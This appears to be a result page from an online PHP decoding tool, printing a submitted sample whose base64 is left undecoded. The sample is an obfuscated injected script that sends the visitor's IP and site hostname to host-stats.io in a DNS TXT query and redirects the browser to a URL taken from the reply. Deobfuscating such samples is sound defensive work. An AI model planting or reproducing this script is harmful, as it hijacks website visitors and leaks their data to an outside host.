Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<script src="data:text/javascript;base64,KGZ1bmN0aW9uIChwYXJhbWV0ZXJzKSB7DQogICAgZmV0Y2goJ..
Decoded Output download
<? <script src="data:text/javascript;base64,KGZ1bmN0aW9uIChwYXJhbWV0ZXJzKSB7DQogICAgZmV0Y2goJ2h0dHBzOi8vYXBpNjQuaXBpZnkub3JnP2Zvcm1hdD1qc29uJykudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS5qc29uKCkpLnRoZW4oDQogICAgICAgIGlwID0+IHsNCiAgICAgICAgICAgIGxldCBob3N0ID0gd2luZG93LmxvY2F0aW9uLmhvc3RuYW1lOw0KICAgICAgICAgICAgaXAgPSBpcC5pcC5yZXBsYWNlQWxsKCc6JywgJy0nKTsNCiAgICAgICAgICAgIGlwID0gaXAucmVwbGFjZUFsbCgnLicsICctJyk7DQogICAgICAgICAgICBpZiAoaG9zdCA9PSAiIikgaG9zdCA9ICJ1bmsuY29tIjsNCiAgICAgICAgICAgIGZldGNoKCdodHRwczovL2Rucy5nb29nbGUvcmVzb2x2ZT9uYW1lPScgKyBob3N0ICsgJy4nICsgaXAgKyAnLicgKyBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiAxMDI0ICogMTAyNCAqIDEwKSArICcuaG9zdC1zdGF0cy5pbyZ0eXBlPXR4dCcpLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UuanNvbigpKS50aGVuKGRhdGEgPT4gew0KICAgICAgICAgICAgICAgIGlmIChkYXRhLkFuc3dlciA9PSBudWxsKSB7DQogICAgICAgICAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgdmFyIG8gPSAiIjsNCiAgICAgICAgICAgICAgICBkYXRhLkFuc3dlci5mb3JFYWNoKGVsZW1lbnQgPT4gew0KICAgICAgICAgICAgICAgICAgICBpZiAoZWxlbWVudC50eXBlID09IDE2KSBvICs9IGVsZW1lbnQuZGF0YTsNCiAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICAgICBvID0gYXRvYihvKTsNCiAgICAgICAgICAgICAgICBpZiAoIW8ubGVuZ3RoKSByZXR1cm47DQogICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLnJlcGxhY2Uobyk7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgfQ0KICAgICk7DQp9KSgp"></script> ?>
Did this file decode correctly?
Original Code
<script src="data:text/javascript;base64,KGZ1bmN0aW9uIChwYXJhbWV0ZXJzKSB7DQogICAgZmV0Y2goJ2h0dHBzOi8vYXBpNjQuaXBpZnkub3JnP2Zvcm1hdD1qc29uJykudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS5qc29uKCkpLnRoZW4oDQogICAgICAgIGlwID0+IHsNCiAgICAgICAgICAgIGxldCBob3N0ID0gd2luZG93LmxvY2F0aW9uLmhvc3RuYW1lOw0KICAgICAgICAgICAgaXAgPSBpcC5pcC5yZXBsYWNlQWxsKCc6JywgJy0nKTsNCiAgICAgICAgICAgIGlwID0gaXAucmVwbGFjZUFsbCgnLicsICctJyk7DQogICAgICAgICAgICBpZiAoaG9zdCA9PSAiIikgaG9zdCA9ICJ1bmsuY29tIjsNCiAgICAgICAgICAgIGZldGNoKCdodHRwczovL2Rucy5nb29nbGUvcmVzb2x2ZT9uYW1lPScgKyBob3N0ICsgJy4nICsgaXAgKyAnLicgKyBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiAxMDI0ICogMTAyNCAqIDEwKSArICcuaG9zdC1zdGF0cy5pbyZ0eXBlPXR4dCcpLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UuanNvbigpKS50aGVuKGRhdGEgPT4gew0KICAgICAgICAgICAgICAgIGlmIChkYXRhLkFuc3dlciA9PSBudWxsKSB7DQogICAgICAgICAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgdmFyIG8gPSAiIjsNCiAgICAgICAgICAgICAgICBkYXRhLkFuc3dlci5mb3JFYWNoKGVsZW1lbnQgPT4gew0KICAgICAgICAgICAgICAgICAgICBpZiAoZWxlbWVudC50eXBlID09IDE2KSBvICs9IGVsZW1lbnQuZGF0YTsNCiAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICAgICBvID0gYXRvYihvKTsNCiAgICAgICAgICAgICAgICBpZiAoIW8ubGVuZ3RoKSByZXR1cm47DQogICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLnJlcGxhY2Uobyk7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgfQ0KICAgICk7DQp9KSgp"></script>
Function Calls
None |
Stats
MD5 | b3b31d58f45ac519bba1a6ce7b39aac7 |
Eval Count | 0 |
Decode Time | 54 ms |